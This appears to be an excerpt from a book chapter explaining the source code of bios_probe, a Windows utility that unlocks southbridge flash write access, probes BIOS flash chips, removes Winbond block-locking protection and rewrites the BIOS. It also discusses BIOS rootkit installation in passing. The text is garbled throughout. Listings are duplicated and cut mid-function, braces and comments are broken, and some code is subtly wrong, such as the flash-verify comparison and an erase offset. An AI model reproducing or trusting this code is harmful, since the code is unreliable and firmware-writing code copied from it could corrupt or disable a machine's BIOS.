    val |= 0xE0;
pci_write_byte(dev, 0x43, val);

if (pci_read_byte(dev, 0x43) != val) {
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0x43, val, name);
    return -1;
}

// Enable flash BIOS writing in VIA 596B
val = pci_read_byte(dev, 0x40);
val |= 0x01;
pci_write_byte(dev, 0x40, val);

if (pci_read_byte(dev, 0x40) != val) {
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0x40, val, name);
    return -1;
}
return 0;

int enable_flash_i82801EB(struct pci_dev *dev, char *name) {
    // Register 4e.b gets or'ed with one
    unsigned char old, new;
    // If it fails, so what? There are so many variations of broken
    // motherboards that it is hard to argue that you should quit at
    // this point.
    // Initialize the Flash_BIOS_Decode_Enable_1 register
    old = pci_read_byte(dev, 0xe3);
    new = old | 0xff;
    if (new == old)
        return 0;
    pci_write_byte(dev, 0xe3, new);
    if (pci_read_byte(dev, 0xe3) != new) {
        printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0xe3, new, name);
        return -1;
    }
    // BIOS control register, write enable
    old = pci_read_byte(dev, 0x4e);
    new = old | 1;
    if (new == old)
        return 0;
    pci_write_byte(dev, 0x4e, new);
if (pci_read_byte(dev, 0x4e) != new) {
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0x4e, new, name);
    return -1;
} return 0;
}

struct flashchip * probe_flash(struct flashchip * flash) {
    volatile char * bios;
    unsigned long size;
    volatile char * chip_addr;
    SYSTEM_INFO si;

    while (flash->name != NULL) {
        if (chip_to_probe && strcmp(flash->name, chip_to_probe) != 0) {
            flash++;
            continue;
        }
        printf("Trying %s, %d KB\n", flash->name, flash->total_size);
        size = flash->total_size * 1024;
        // Bug? what happens if getpagesize() is greater in size?
        GetSystemInfo(&si);
        if (si.dwPageSize > size) {
            size = si.dwPageSize;
            printf("%s: warning: size: %d -> %ld\n", __FUNCTION__, flash->total_size * 1024,
                   (unsigned long)size);
        }
        bios = (volatile char*) MapPhysicalAddress((unsigned long)
                                                  (0 - size), size);
        // Error handler code omitted
        flash->virt_addr = bios;
        chip_addr = bios;
        printf("chip_addr = 0x%p\n", chip_addr);
        if (flash->probe(flash) == 1) {
            printf("%s found at physical address: 0x%lx\n", flash->name, (0 - size));
            return flash;
        }
        UnmapPhysicalAddress((void*)bios, size);
        flash++;
    }
}
int verify_flash (struct flashchip * flash, char * buf, int verbose)
{
  int i = 0;
  int total_size = flash->total_size *1024;
  volatile char * bios = flash->virt_addr;

  printf("Verifying address: ");
  while (i < total_size) {
    if (verbose)
      printf("0x%08x", i);
    if (*((bios+i) !=(buf+i)) {
      printf("FAILED\n");
      return 0;
    }
    if (verbose)
      printf("\b\b\b\b\b\b\b\b\b\b\b");
    i++;
  }
  if (verbose) {
    printf("\n");
  } else {
    printf("VERIFIED\n");
  }
  return 1;
}

// Count to a billion and time it; if it's < 1 sec, count to 10 billion; // etc.
unsigned long micro = 1;

int
myusec_calibrate_delay()
{
  int count = 1000;
  unsigned long timeusec;
  int ok = 0;
  LARGE_INTEGER freq, cnt_start, cnt_end;

  void myusec_delay(int time);

  printf("Setting up microsecond timing loop\n");
// Query the number of counts per second
if( (FALSE == QueryPerformanceFrequency(&freq)) &&
    (freq.QuadPart < 1000000))
{
    return 0; // fail
}

while (! ok) {

    QueryPerformanceCounter(&cnt_start);
    myusec_delay(count);
    QueryPerformanceCounter(&cnt_end);

    timeusec = (((cnt_end.QuadPart - cnt_start.QuadPart) *
                 1000000) / freq.QuadPart);

    count *= 2;
    if (timeusec < 1000000/4)
        continue;
    ok = 1;
}

    // Compute 1 msec; that will be count / timeusec
    micro = count / timeusec;

    fprintf(stderr, "%ldM loops per second\n", (unsigned long)micro);

    return 1; // Success
}

void
myusec_delay(int time)
{
    volatile unsigned long i;
    for(i = 0; i < time * micro; i++)
        ;
}

typedef struct penable {
    unsigned short vendor, device;
    char *name;
    int (*doit)(struct pci_dev *dev, char *name);
} FLASH_ENABLE;

FLASH_ENABLE enables[] = {
    // Irrelevant code omitted
    {0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B}, /* VIA 596B PCI-to-ISA Bridge */
int enable_flash_write() {
    int i;
    struct pci_access *pacc;
    struct pci_dev *dev = 0;
    FLASH_ENABLE *enable = 0;

    pacc = pci_alloc();            /* Get the pci_access structure */
    /* Set all options you want; I stick with the defaults */
    pci_init(pacc);                /* Initialize the PCI library */
    pci_scan_bus(pacc);            /* You want the list of devices */

    /* Try to find the chipset used */
    for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) {
        struct pci_filter f;
        struct pci_dev *z;
        /* The first param is unused */
        pci_filter_init((struct pci_access *) 0, &f);
        f.vendor = enables[i].vendor;
        f.device = enables[i].device;
        for(z=pacc->devices; z; z=z->next)
            if (pci_filter_match(&f, z)) {
                enable = &enables[i];
                dev = z;
            }
    }

    /* Do the deed */
    if (enable) {
        printf("Enabling flash write on %s...", enable->name);
        if (enable->doit(dev, enable->name) == 0)
            printf("OK\n");
        return 0;
    }
}

void usage(const char *name) {
    printf("usage: %s [-rw] [-rv] [-c chipname][file]\n", name);
    printf("-r: read flash and save into file\n"
            "-rv: read flash, save into file and verify against the "
            "contents of the flash\n"
            "-w: write file into flash (default when file is specified)\n"
            "-wv: write file into flash and verify flash against file\n"
            "-c: probe only for specified flash chip\n");
    exit(1);
}
```c
int main (int argc, char * argv[]) {
    char * buf;
    unsigned long size;
    FILE * image;
    struct flashchip * flash;
    int read_it = 0, write_it = 0, verify_it = 0;
    char *filename = NULL;

    //////////////////////////////////////////////////////////////////////
    // Input parameters handler (quick hack)
    //
    if( ( argc < 3) || (argc > 5) ) {
        usage(argv[0]); // Display usage and exit
    }

    if( !strcmp(argv[1],"-w") ) {
        write_it = 1;
    }
    else if(!strcmp(argv[1],"-r")) {
        read_it = 1;
    }
    else if(!strcmp(argv[1],"-wv")) {
        write_it = 1;
        verify_it = 1;
    }
    else if(!strcmp(argv[1],"-rv")) {
        read_it = 1;
        verify_it = 1;
    }
    else {
        usage(argv[0]); // Display usage and exit
    }

    if( !strcmp(argv[2], "-c") ) {
        chip_to_probe = strdup(argv[3]);
        filename = argv[4];
    }
    else {
```
filename = argv[2];
}

if (read_it && write_it) {
    printf("-r and -w are mutually exclusive\n");
    usage(argv[0]); // Display usage and exit the program
}

printf("Calibrating timer since microsleep sucks ... takes a" " second\n");

if(0 == myusec_calibrate_delay())
{
    // Error handler code omitted
    return 0;
}

printf("OK, calibrated, now do the deed\n");

//
// Initialize driver interface for direct_io operation (outl, inb,
// etc.) and map the BIOS chip address space into the current
// user-mode application address space
//
if( InitDriver() == 0)
{
    printf("Error: failed to initialize driver interface\n");
    return 0;
}

// Try to enable it; failure is an option because not all
// motherboards need this to be done
/*
(void) enable_flash_write();

if {{(flash = probe_flash (flashchips)) == NULL} {
    // Error handler code omitted
    exit(1);
}

printf("Part is %s\n", flash->name);
if (!filename){
    // Error handler code omitted
    return 0;
}

size = flash->total_size * 1024;
buf = (char *) calloc(size, sizeof(char));
if(NULL == buf)
As with other console-based applications, the entry point of bios_probe is the function main. So, start with this function. The main function starts by checking the user input to see whether the user wants to read from the flash ROM or write into it and whether the user wants to verify the operation upon completion or not. Then, main calls a function named myusec_calibrate_delay. The latter function then calibrates the loop counter needed for an approximately 1-msec delay, as shown in listing 9.13.

Listing 9.13 Calling the Microsecond Calibration Routine
// In function main:
   if(0 == myusec_calibrate_delay())
   // ...
int myusec_calibrate_delay()
{
   int count = 1000;
   unsigned long timeusec;
   int ok = 0;
   LARGE_INTEGER freq, cnt_start, cnt_end;

   void myusec_delay(int time);

   printf("Setting up microsecond timing loop\n");

   // Query number of count per second
   if( (FALSE == QueryPerformanceFrequency(&freq)) &&
     (freq.QuadPart < 1000000))
   {
      return 0; // Fail
   }

   while (! ok) {
      QueryPerformanceCounter(&cnt_start);
      myusec_delay(count);
      QueryPerformanceCounter(&cnt_end);

      timeusec = (((cnt_end.QuadPart - cnt_start.QuadPart) *
                   1000000) / freq.QuadPart);

      count *= 2;
      if (timeusec < 1000000/4)
         continue;
      ok = 1;
   }

   // Compute 1 msec (count / timeusec)
   micro = count / timeusec;

   fprintf(stderr, "%ldM loops per second\n", (unsigned long)micro);
   return 1; // Success
}

void myusec_delay(int time)
{
   volatile unsigned long i;
   for(i = 0; i < time * micro; i++)
     ;
}
You need an approximately 1-msec delay for some transactions with the flash ROM chip, particularly those related to read and write operations. That's why the calibration is needed. Note that the counter\(^{18}\) in the \texttt{myusec_delay} function is declared a \texttt{volatile} variable to ensure that there is no optimization by the compiler. Therefore, it will be placed in RAM. If the counter is optimized, it's possible that the increment operation will soon make the counter overflow and will create unwanted side effects because it's placed in a register and loop is unrolled\(^{19}\) by the compiler.

After the calibration is finished, the \texttt{main} function calls the \texttt{InitDriver} function to initialize the device driver.

**Listing 9.14 Calling the Driver Initialization Routine**

```c
// in function main:
if( InitDriver() == 0 )
{
    printf("Error: failed to initialize driver interface\n");
    return 0;
}
// ...
```

\texttt{InitDriver} is a function declared in \texttt{direct_io.h} and implemented in \texttt{direct_io.c}. This function extracts the driver from the executable file, activates it, and then tries to obtain a handle to it. This process is shown in listing 9.15.

**Listing 9.15 Driver Initialization Function**

```c
/*
 * file: direct_io.c
 */
// Irrelevant code omitted

int InitDriver()
/*
 * ret_val: 0 if error
 * 1 if succeeded
 */
{
    DWORD errNum;
    //
    // Extract the driver binary from the resource in the executable
    //
```

---

\(^{18}\) The counter is the \texttt{i} variable.

\(^{19}\) Read more about loop unrolling in the \textit{Intel Optimization Reference Manual}.\)
if (ExtractDriver(MAKEINTRESOURCE(101), "bios_probe.sys") == TRUE) {
    printf("The driver has been extracted\n");
} else {
    DisplayErrorMessage(GetLastError());
    printf("Exiting.\n");
    return 0;
}

// Set up the full path to driver name
//
if (!SetupDriverName(driverLocation)) {
    printf("Error: failed to setup driver name \n");
    return 0;
}

// Try to activate the driver
//
if (ActivateDriver(DRIVER_NAME, driverLocation, TRUE) == TRUE) {
    printf("The driver is registered and activated\n");
} else {
    printf("Error: unable to register and activate the "
            "driver\n");
    DeleteFile(driverLocation);
    return 0;
}

// Try to open the newly installed driver
//
hDevice = CreateFile( "\\.\bios_probe",
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

if ( hDevice == INVALID_HANDLE_VALUE ){
    errNum = GetLastError();
    printf ( "Error: CreateFile Failed : %d\n", errNum );
    DisplayErrorMessage(errNum);
    // Clean up the resources created and used up to now
    ActivateDriver(DRIVER_NAME, driverLocation, FALSE);
    DeleteFile(driverLocation);
return 0;
}
return 1;
}

The handle obtained in InitDriver is used for direct I/O functions, such as
outb, outl, and inw.
Upon completing the device driver initialization, main calls enable_flash_write. The purpose of enable_flash_write is to configure the PCI
configuration register in the southbridge of the motherboard to enable access to the BIOS
chip address space. In many systems, the BIOS chip address space cannot be accessed after
the operating system boots. The enable_flash_write function is complex, as you can
see in listing 9.16.

Listing 9.16 Enabling Access to the BIOS Chip Address Space

/ *
* file: flash_rom.c
 */

// Irrelevant code omitted
int enable_flash_write() {
    int i;
    struct pci_access *pacc;
    struct pci_dev *dev = 0;
    FLASH_ENABLE *enable = 0;
    pacc = pci_alloc();           /* Get the pci_access structure */
    /* Set all options you want; I stick with the defaults */
    pci_init(pacc);               /* Initialize the PCI library */
    pci_scan_bus(pacc);           /* Get the list of devices */
    /* Try to find the chipset used */
    for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) {
        struct pci_filter f;
        struct pci_dev *z;
        /* The first parameter is unused */
        pci_filter_init((struct pci_access *) 0, &f);
        f.vendor = enables[i].vendor;
        f.device = enables[i].device;
        for(z=pacc->devices; z; z=z->next)
            if (pci_filter_match(&f, z)) {
                enable = &enables[i];
                dev = z;
            }
    }
}
/* Do the deed */
if (enable) {
    printf("Enabling flash write on %s...", enable->name);
    if (enable->doit(dev, enable->name) == 0)
        printf("OK\n");
} return 0;
// Irrelevant code omitted

The `enable_flash_write` function uses `libpci` to probe the PCI bus to look for PCI devices and then scrutinize those devices for supported southbridges. When a supported southbridge is found, `enable_flash_write` then calls the appropriate initialization function to enable access to the BIOS chip address space through the southbridge. The supported southbridges are represented by an array of objects of the `FLASH_ENABLE` type named `enables`, as shown in listing 9.17.

**Listing 9.17 Data Structure to Enable Access in a Specific Southbridge**

```c
/*
* file: flash_rom.c
*/

typedef struct penable {
    unsigned short vendor, device;
    char *name;
    int (*doit)(struct pci_dev *dev, char *name);
} FLASH_ENABLE;

FLASH_ENABLE enables[] = {
    {0x1, 0x1, "sis630 -- what's the ID?", enable_flash_sis630},
    {0x8086, 0x2480, "E7500", enable_flash_e7500},
    {0x8086, 0x24D0, "ICH5", enable_flash_i82801EB}, /* ICH5 LPC Bridge */
    {0x1106, 0x8231, "VT8231", enable_flash_vt8231},
    {0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B}, /* VIA 596B */
    {0x1106, 0x3177, "SIS2530", enable_flash_sis2530},
    {0x1078, 0x0100, "CS5530", enable_flash_cs5530},
    {0x100b, 0x0510, "SC1100", enable_flash_sc1100},
    {0x1039, 0x8, "SIS5595", enable_flash_sis5595},
};
```
The return value from `enable_flash_write` is not checked in the `main` function because some motherboards don't protect access to the BIOS chip address space. After the `enable_flash_write` function returns, `main` probes the system for the supported flash ROM chip, as shown in listing 9.18.

Listing 9.18 Probing for the Supported Flash ROM Chip

```c
/*
* file: flash_rom.c
*/

struct flashchip flashchips[] = {
  // Irrelevant entries omitted
  /*W49F002U*/,
  WINBOND_ID, W_49F002U, NULL, 256, 128,
  probe_49f002, erase_49f002, write_49f002, NULL, NULL,
  /*W39V040FA*/,
  WINBOND_ID, W_39V040FA, NULL, 512, 4096,
  /* TODO: the sector size must be ensured to be correct! */
  probe_39v040fa, erase_39v040fa, write_39v040fa, NULL, NULL,
  // Irrelevant entries omitted
  {NULL,}
};

int main (int argc, char * argv[])
{
  // Irrelevant code omitted
  if ((flash = probe_flash (flashchips)) == NULL) {
    printf("EEPROM not found\n");
    CleanupDriver(); // Cleanup driver interface
    exit(1);
  }
  // Irrelevant code omitted
}

struct flashchip * probe_flash(struct flashchip * flash)
{
  volatile char * bios;
  unsigned long size;
  volatile char * chip_addr;
  SYSTEM_INFO si;
```
while (flash->name != NULL) {
    if (chip_to_probe && strcmp(flash->name, chip_to_probe) != 0) {
        flash++;
        continue;
    }
    printf("Trying %s, %d KB\n", flash->name, flash->total_size);
    size = flash->total_size * 1024;
    // BUG? what happens if getpagesize() > size?
    GetSystemInfo(&si);
    if(si.dwPageSize > size)
    {
        size = si.dwPageSize;
        printf("%s: warning: size: %d -> %ld\n",
               __FUNCTION__,    flash->total_size * 1024,
               (unsigned long)size);
    }
    bios = (volatile char*) MapPhysicalAddress((unsigned long)
        0 - size), size);
    // Error handler code omitted
    flash->virt_addr = bios;
    chip_addr = bios;
    printf("chip_addr = 0x%P\n", chip_addr);
    if (flash->probe(flash) == 1) {
        printf ("%s found at physical address: 0x%lx\n",
                flash->name, (0 - size));
        return flash;
    }
    UnmapPhysicalAddress((void*)bios, size);
    flash++;
}
return NULL;

As you can see in listing 9.18, probe_flash is a complicated function. Its input parameter is a pointer to a flashchip object. However, it may not be obvious that probe_flash expects this input parameter to be a pointer to an array of objects rather than a pointer to a single object. It's OK if the array contains just one object, as long as there is a NULL to indicate the end of the array. If probe_flash succeeds, the return value is a pointer to the flashchip object that matches the current flash ROM chip in the system. Otherwise, it returns NULL. The while loop in the probe_flash function walks through the array of flashchip objects to find a matching flash ROM. The process starts with
mapping the address space of the BIOS chip to the address space of bios_probe by invoking the MapPhysicalAddressRange function. MapPhysicalAddressRange returns a pointer to the starting virtual address for the requested physical address space. This pointer is used to communicate with the BIOS chip by reading and writing into the virtual address space. Every chip supported by bios_probe has its own method to read, obtain manufacturer identification from the chip, and write to the chip. These unique properties are shown in the flashchip data structure and in the flashchips array in listing 9.19.

Listing 9.19 The flashchip Data Structure and the Array of flashchip Objects

```c
/*------------------------------- flash_rom.h ---------------------------------*/
struct flashchip {
    char * name;
    int manufacture_id;
    int model_id;

    volatile char * virt_addr;
    int total_size;
    int page_size;

    int (*probe) (struct flashchip * flash);
    int (*erase) (struct flashchip * flash);
    int (*write) (struct flashchip * flash, unsigned char * buf);
    int (*read)  (struct flashchip * flash, unsigned char * buf);

    volatile char *virt_addr_2;
};

/*------------------------------- flash_rom.c ---------------------------------*/
// Irrelevant code omitted

// An array of objects of the flashchip type
struct flashchip flashchips[] = {
    // Irrelevant entries omitted
    {"W49F002U", WINBOND_ID, W_49F002U, NULL, 256, 128,
    probe_49f002, erase_49f002, write_49f002, NULL, NULL},
    {"W39V040FA", WINBOND_ID, W_39V040FA, NULL, 512, 4096,
    /* TODO: the sector size must be ensured to be correct! */
};
```

---

21 The physical address space near the 4-GB limit.
22 The virtual address is in the context of flash_n_burn user-mode application.
23 Reading and writing are accomplished using pointer indirection and dereference operator.
In the source code, the array of `flashchip` objects is named `flashchips`. One of the usable objects in `flashchips` array represents the operation that you can carry out for Winbond W49F002U flash ROM. This object contains data and function pointers that "describe" Winbond W49F002U flash ROM, as shown in listing 9.19. The definition of the constants in the object is in the `flash.h` file.

**Listing 9.20 Winbond W49F002U Constants**

```c
/*
 * file: flash.h
 */
// Irrelevant code omitted
#define WINBOND_ID        0xDA    /* Winbond manufacturer ID code */
// Irrelevant code omitted
#define W_49F002U         0x0B    /* Winbond W49F002U device code */
#define W_39V040FA        0x34    /* Winbond W39V040FA device code */
// Irrelevant code omitted
```

The implementation of the function pointers in the Winbond W49F002U object in listing 9.19 is in the `w49f002u.c` file, as shown in listing 9.21.

**Listing 9.21 Winbond W49F002U Functions Implementation**

```c
/*
 * w49f002u.c: driver for Winbond 49F002U flash models
 * Copyright 2000 Silicon Integrated System Corporation
 *
 * This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
 * ...
 *
 * Reference: W49F002U data sheet
 */
#include <stdio.h>
#include "flash.h"
#include "jedec.h"
```
```c
#include "w49f002u.h"

int probe_49f002 (struct flashchip * flash)
{
    volatile char * bios = flash->virt_addr;
    unsigned char id1, id2;

    *(bios + 0x5555) = 0xAA;
    *(bios + 0x2AAA) = 0x55;
    *(bios + 0x5555) = 0x90;

    id1 = *(volatile unsigned char *) bios;
    id2 = *(volatile unsigned char *) (bios + 0x01);

    *bios = 0xF0;
    myusec_delay(10);
    printf("%s: id1 0x%x, id2 0x%x\n", __FUNCTION__, id1, id2);
    printf("flash chip manufacturer id = 0x%x\n", flash->manufacture_id);
    if (id1 == flash->manufacture_id && id2 == flash->model_id)
        return 1;
    return 0;
}

int erase_49f002 (struct flashchip * flash)
{
    volatile char * bios = flash->virt_addr;

    *(bios + 0x5555) = 0xAA;
    *(bios + 0x2AAA) = 0x55;
    *(bios + 0x5555) = 0x80;
    *(bios + 0x5555) = 0xAA;
    *(bios + 0x5555) = 0x10;
    myusec_delay(100);
    toggle_ready_jedec(bios);
    #if 0
    toggle_ready_jedec(bios);
    *(bios + 0x0ffff) = 0x30;
    *(bios + 0x1ffff) = 0x30;
    *(bios + 0x2ffff) = 0x30;
    *(bios + 0x37fff) = 0x30;
    *(bios + 0x39fff) = 0x30;
    *(bios + 0x3bfffff) = 0x30;
    #endif
```
Listing 9.21 shows the implementation of functions used to manipulate the contents of Winbond W49F002U flash ROM chip. It is imperative to read the Winbond W49F002U datasheet if you want to understand. It's available free of charge at http://www.winbond.com/e-winbondhtm/partner/_Memory_F_PF.htm.

The implementation of the function pointers for the Winbond W39V040FA object in listing 9.19 is in the w39v040fa.c file, as shown in listing 9.22.
Listing 9.22 Winbond W39V040FA Functions Implementation

```c
/*
 * w39v040fa.c: driver for Winbond 39V040FA flash models
 *
 * Copyright 2000 Silicon Integrated System Corporation
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License as
 * published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
 *
 * ... Reference:
 * W39V040FA data sheet
 */

#include <stdio.h>
#include "flash.h"
#include "jedec.h"
#include "direct_io.h"
#include "w39v040fa.h"

enum {
    BLOCKING_REGS_PHY_RANGE = 0x80000,
    BLOCKING_REGS_PHY_BASE = 0xFFB80000,
};

int probe_39v040fa (struct flashchip * flash)
{
    volatile char * bios = flash->virt_addr;
    unsigned char id1, id2;

    *(bios + 0x5555) = 0xAA;
    *(bios + 0x2AAA) = 0x55;
    *(bios + 0x5555) = 0x90;

    id1 = *(volatile unsigned char *) bios;
    id2 = *(volatile unsigned char *) (bios + 0x01);

    *bios = 0xF0;

    myusec_delay(10);

    printf("%s: id1 0x%x, id2 0x%x\n", __FUNCTION__, id1, id2);
    printf("flash chip manufacturer id = 0x%x\n", flash->manufacture_id);

    if (id1 == flash->manufacture_id && id2 == flash->model_id)
        return 1;
```

int erase_39v040fa (struct flashchip * flash)
{
    volatile char * bios = flash->virt_addr;

    *(bios + 0x5555) = 0xAA;
    *(bios + 0x2AAA) = 0x55;
    *(bios + 0x5555) = 0x80;
    *(bios + 0x5555) = 0xAA;
    *(bios + 0x2AAA) = 0x55;
    *(bios + 0x5555) = 0x10;

    myusec_delay(100);
    toggle_ready_jedec(bios);

    return(0);
}

volatile char * unprotect_39v040fa(void)
{
    unsigned char i, byte_val;
    volatile char * block_regs_base;

    block_regs_base = (volatile char*) MapPhysicalAddressRange(
        BLOCKING_REGS_PHY_BASE, BLOCKING_REGS_PHY_RANGE);

    if (block_regs_base == NULL) {
        perror( "Error: Unable to map Winbond W39V040FA blocking "
            "registers!\n");
        return NULL;
    }

    // // Unprotect the BIOS chip address range
    // for( i = 0; i < 8 ; i++ )
    // {
    //     byte_val = *(block_regs_base + 2 + i*0x10000);
    //     byte_val &= 0xF8; // Enable full access to the chip
    //     *(block_regs_base + 2 + i*0x10000) = byte_val;
    // }

    return block_regs_base;
}

void protect_39v040fa(volatile char * reg_base)
{
unsigned char i, byte_val;
volatile char * block_regs_base = reg_base;

for( i = 0; i < 8 ; i++ )
{
    byte_val = *(block_regs_base + 2 + i*0x10000);
    byte_val |= 1; // Prohibited writing in the block where set
    *(block_regs_base + 2 + i*0x10000) = byte_val;
}

UnmapPhysicalAddressRange((void*) reg_base, BLOCKING_REGS_PHY_RANGE);

int write_39v040fa (struct flashchip * flash, unsigned char * buf)
{
    int i;
    int total_size = flash->total_size * 1024;
    volatile char * bios = flash->virt_addr;
    volatile char * dst = bios;
    volatile char * reg_base;

    *bios = 0xF0; // Product ID exit
    myusec_delay(10);

    reg_base = unprotect_39v040fa();
    erase_39v040fa(flash);

    #if 1
    printf("Programming Page: ");
    for (i = 0; i < total_size; i++)
    {
        // Write to the sector
        if ((i & 0xfff) == 0)
            printf("address: 0x%08lx", (unsigned long)i);
        *(bios + 0x5555) = 0xAA;
        *(bios + 0x2AAA) = 0x55;
        *(bios + 0x5555) = 0xA0;
        *dst = *buf;

        // Wait until the toggle bit is ready
        toggle_ready_jedec(dst);

        dst++;
        buf++;
    }
    #endif
    }

Listing 9.22 shows that Winbond W39V040FA has its own method for locking every 64-KB block in the 512-KB flash ROM address space. You won't be able to write into these blocks unless you disable the protection first. The registers that control the locking method of these blocks are memory-mapped registers. That's why in listing 9.22 the code maps the "blocking registers" physical address range into the process's virtual address space. The blocking registers are mapped to the FFB80002h–FFBF0002h address range. This kind of blocking method or a similar one is used in flash ROM that adheres to Intel's firmware hub specification. If you are still confused, see the snippet from the Winbond W39V040FA datasheet in table 9.1.

<table>
<thead>
<tr>
<th>Registers</th>
<th>Registers Type</th>
<th>Control Block</th>
<th>Device Physical Address</th>
<th>4-GB System Memory Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>BLR7</td>
<td>R/W</td>
<td>7</td>
<td>7FFFFh–70000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR6</td>
<td>R/W</td>
<td>6</td>
<td>6FFFFh–60000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR5</td>
<td>R/W</td>
<td>5</td>
<td>5FFFFh–50000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR4</td>
<td>R/W</td>
<td>4</td>
<td>4FFFFh–40000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR3</td>
<td>R/W</td>
<td>3</td>
<td>3FFFFh–30000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR2</td>
<td>R/W</td>
<td>2</td>
<td>2FFFFh–20000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR1</td>
<td>R/W</td>
<td>1</td>
<td>1FFFFh–10000h</td>
<td>FFBF0002h</td>
</tr>
<tr>
<td>BLR0</td>
<td>R/W</td>
<td>0</td>
<td>0FFFFh–00000h</td>
<td>FFBF0002h</td>
</tr>
</tbody>
</table>

Table 9.1 Block Locking Registers Type and Access Memory Map Table for Winbond W39V040FA

The device physical address column in table 9.1 refers to the physical address of the blocking registers when it's not mapped into the 4-GB system-wide address space.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>7–3</td>
<td>Reserved</td>
</tr>
<tr>
<td>2</td>
<td>Read Lock</td>
</tr>
</tbody>
</table>

24 BLR stands for block locking register. A BLR size is 1 byte.
| Lock Down | 1: Prohibited further to set or clear the read-lock and write-lock bits. This lock-down bit can only be set not clear. Only if the device is reset or repowered is the lock-down bit cleared.  
0: Normal operation for read-lock or write-lock. This is the default state. |
|---|---|
| Write Lock | 1: Prohibited to write in the block where set. This is the default state.  
0: Normal programming or erase operation in the block where clear. |

Table 9.2 Block Locking Register Bits Function Table

Table 9.2, also from the Winbond W39V040FA datasheet, shows that the lowest three bits of the block locking register (BLR) controls the access into W39V040FA. You can even "disable" the chip by setting the value of bit 0, bit 1, and bit 2 in all BLRs to one. This setting will "lock" the chip, making it inaccessible until the next reboot. It's imperative to read the Winbond W39V040FA datasheet if you want to know its internal working principle.

After successfully initializing the object that represents the BIOS chip, the main function calls the appropriate member function of the object to carry out the operation that bios_probe user requested. This process is shown in listing 9.23.

Listing 9.23 Fulfilling User Request in the main Function

```c
/*
 * file: flash_rom.c
 */
// Irrelevant code omitted
int main (int argc, char * argv[]) {
    // Irrelevant code omitted
    if (read_it) {
        if ((image = fopen(filename, "wb")) == NULL) {
            // Error handler code omitted
            exit(1);
        }
        printf("Reading Flash...\n");
        if (flash->read == NULL) {
            memcpy(buf, (const char *) flash->virt_addr, size);
        } else {
            flash->read(flash, buf);
        }
        fwrite(buf, sizeof(char), size, image);
        fclose(image);
        printf("done\n");
    } else {
```
if ((image = fopen (filename, "rb")) == NULL) {
    // Error handler code omitted
    exit(1);
}
fread (buf, sizeof(char), size, image);
fclose(image);
}
if (write_it || (!read_it && !verify_it))
    flash->write(flash, buf);
if (verify_it)
    verify_flash(flash, buf, /* verbose = */ 0);
// Irrelevant code omitted

After fulfilling the user request, the main function then cleans up the resources it used and terminates bios_probe execution. Up to this point, the bios_probe execution path should be clear to you.

One important fact has been uncovered so far. Pay attention to the Winbond W39V040FA datasheet snippet in tables 9.1 and 9.2. It's clear that if the BIOS initializes the lock-down bit to 1 during boot, you won't be able to access the BIOS chip. Therefore, a rootkit cannot be installed to the BIOS chip from within the operating system because of the hardware protection.

I experimented with a DFI 865PE Infinity motherboard\(^\text{25}\) to confirm that the lock-down bit works. Indeed, it does. When I set the lock-down bit in Windows, the chip is inaccessible for reading and for writing. Reading the BIOS chip address space returns 0 bytes, and writing is impossible.

### 9.3.2.2. The PCI Library

The PCI library in the Windows version of bios_probe is based on pciutils version 2.1.11 for Linux. Nonetheless, many functions and files have been removed to make it as slim as possible. In this subsection, I highlight the important parts of the library. From this point on, I refer to the Windows version of the PCI library as libpci.

Libpci source code is a standalone static library. However, it needs the Windows equivalent of the direct I/O functions\(^\text{26}\) in Linux to compile. In bios_probe, they are provided in direct-io.h and direct_io.c files.

Libpci is used in bios_probe during execution of the enable_flash_write function to detect the southbridge and enable access to the BIOS chip, as shown in listing 9.24.

---

\(^\text{25}\) DFI 865PE Infinity uses an Intel ICH5 southbridge and a Winbond W39V040FA flash ROM chip.

\(^\text{26}\) The direct I/O functions are inb, outb, inw, out, inl, and outl.
Listing 9.24 Usage of libpci by the Main Application

Listing 9.24 shows how `enable_flash_write` works. It allocates the resources needed to access the PCI bus by calling the `pci_alloc` function. This function is declared in the pci.h file and implemented in access.c. The resource allocation in it is shown in listing 9.25. Note that I removed many PCI access methods from the original pciutils PCI library. The ones left provide only direct access to the hardware. I have to do so because the other access methods are only supported in Linux or UNIX but not in Windows.
Listing 9.25 The pci_alloc Function

```c
static struct pci_methods *pci_methods[PCI_ACCESS_MAX] = {
    &pm_intel_conf1, // PCI configuration mechanism 1 for x86 architecture
    &pm_intel_conf2, // PCI configuration mechanism 2 for x86 architecture
};

struct pci_access *pci_alloc(void)
{
    struct pci_access *a = malloc(sizeof(struct pci_access));
    int i;
    memset(a, 0, sizeof(*a));
    for(i=0; i<PCI_ACCESS_MAX; i++)
        if (pci_methods[i] && pci_methods[i]->config)
            pci_methods[i]->config(a);
    return a;
}
```

Then, `enable_flash_write` initializes the function pointers for the `pci_access` object previously allocated in the `pci_alloc` function by calling the `pci_init` function. The `pci_init` function is also implemented in the `access.c` file. It's shown in listing 9.26.

Listing 9.26 The pci_init Function

```c
void pci_init(struct pci_access *a)
{
    if (!a->error)
        a->error = pci_generic_error;
    if (!a->warning)
        a->warning = pci_generic_warn;
    if (!a->debug)
        a->debug = pci_generic_debug;

    if (a->method)
    {
